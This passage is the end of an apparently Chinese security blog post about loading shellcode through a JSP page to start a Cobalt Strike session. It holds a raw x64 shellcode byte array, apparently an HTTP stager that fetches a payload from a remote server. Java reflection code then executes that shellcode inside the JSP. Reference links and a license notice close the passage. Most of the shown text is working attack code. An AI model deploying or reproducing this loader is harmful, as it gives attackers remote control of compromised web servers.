(byte) 0x58, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x53, (byte) 0x48, (byte) 0xb8, (byte) 0x00,
(byte) 0x02, (byte) 0x28, (byte) 0x84, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x50,
(byte) 0x53, (byte) 0x53, (byte) 0x49, (byte) 0xc7, (byte) 0xc2, (byte) 0xeb, (byte) 0x55, (byte) 0x2e,
(byte) 0x3b, (byte) 0xff, (byte) 0xd5, (byte) 0x48, (byte) 0x89, (byte) 0xc6, (byte) 0x6a, (byte) 0x0a,
(byte) 0x5f, (byte) 0x53, (byte) 0x5a, (byte) 0x48, (byte) 0x89, (byte) 0xf1, (byte) 0x4d, (byte) 0x31,
(byte) 0xc9, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x53, (byte) 0x53, (byte) 0x49, (byte) 0xc7,
(byte) 0xc2, (byte) 0x2d, (byte) 0x06, (byte) 0x18, (byte) 0x7b, (byte) 0xff, (byte) 0xd5, (byte) 0x85,
(byte) 0xc0, (byte) 0x75, (byte) 0x1f, (byte) 0x48, (byte) 0xc7, (byte) 0xc1, (byte) 0x88, (byte) 0x13,
(byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0xba, (byte) 0x44, (byte) 0xf0, (byte) 0x35, (byte) 0xe0,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0xff, (byte) 0xd5, (byte) 0x48, (byte) 0xff,
(byte) 0xcf, (byte) 0x74, (byte) 0x02, (byte) 0xeb, (byte) 0xcc, (byte) 0xe8, (byte) 0x55, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x53, (byte) 0x59, (byte) 0x6a, (byte) 0x40, (byte) 0x5a, (byte) 0x49,
(byte) 0x89, (byte) 0xd1, (byte) 0xc1, (byte) 0xe2, (byte) 0x10, (byte) 0x49, (byte) 0xc7, (byte) 0xc0,
(byte) 0x00, (byte) 0x10, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0xba, (byte) 0x58, (byte) 0xa4,
(byte) 0x53, (byte) 0xe5, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0xff, (byte) 0xd5,
(byte) 0x48, (byte) 0x93, (byte) 0x53, (byte) 0x53, (byte) 0x48, (byte) 0x89, (byte) 0xe7, (byte) 0x48,
(byte) 0x89, (byte) 0xf1, (byte) 0x48, (byte) 0x89, (byte) 0xda, (byte) 0x49, (byte) 0xc7, (byte) 0xc0,
(byte) 0x00, (byte) 0x20, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x89, (byte) 0xf9, (byte) 0x49,
(byte) 0xba, (byte) 0x12, (byte) 0x96, (byte) 0x89, (byte) 0xe2, (byte) 0x00, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0xff, (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x20, (byte) 0x85,
(byte) 0xc0, (byte) 0x74, (byte) 0xb2, (byte) 0x66, (byte) 0x8b, (byte) 0x07, (byte) 0x48, (byte) 0x01,
(byte) 0xc3, (byte) 0x85, (byte) 0xc0, (byte) 0x75, (byte) 0xd2, (byte) 0x58, (byte) 0xc3, (byte) 0x58,
(byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x49, (byte) 0xc7, (byte) 0xc2, (byte) 0xf0, (byte) 0xb5,
(byte) 0xa2, (byte) 0x56, (byte) 0xff, (byte) 0xd5
};


ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(buf);



byte[] result = byteArrayOutputStream.toByteArray();

Method method = clazz.getDeclaredMethod("run", byte[].class);
method.invoke(clazz, result);
} catch (Exception e) {
e.printStackTrace();
}
%>

XYZy36.png

总结

参考

https://mp.weixin.qq.com/s/p74WQwOfkSSZlsuRDke8jw

https://forum.butian.net/share/143

https://cangqingzhe.github.io/2021/01/05/jsp%E6%96%87%E4%BB%B6%E5%8A%A0%E8%BD%BDshellcode%E4%B8%8A%E7%BA%BFcobaltstrike%E5%AE%9E%E7%8E%B0/

https://paper.seebug.org/1853/

http://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247497550&idx=1&sn=a25faff2fccae13255a6e18a1c6deaf1&chksm=fc3c4e4fcb4bc759df11608f793a81d3d9817c1f646f9f86efb19bc1fc2e68fdeaa16006ce97&mpshare=1&scene=23&srcid=06011m7hLsYLt7qmInNqQqxN&sharer_sharetime=1654051363780&sharer_shareid=1466280195c16e7f9e513da557e7e552#rd

http://mp.weixin.qq.com/s?__biz=MzIyMjkzMzY4Ng==&mid=2247493429&idx=1&sn=01aefc873f3791ef0e0fc95a46201f0b&chksm=e82740ecdf50c9faea76becdface05b4d8c4ed1eff9bf6b287b35f6b5a2611260e33b47fbe5b&mpshare=1&scene=23&srcid=0601CBVfVDLXo2UvqQ4rnZPj&sharer_sharetime=1654051422940&sharer_shareid=1466280195c16e7f9e513da557e7e552#rd

https://tttang.com/archive/1436/

https://www.4hou.com/posts/Qgz0


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!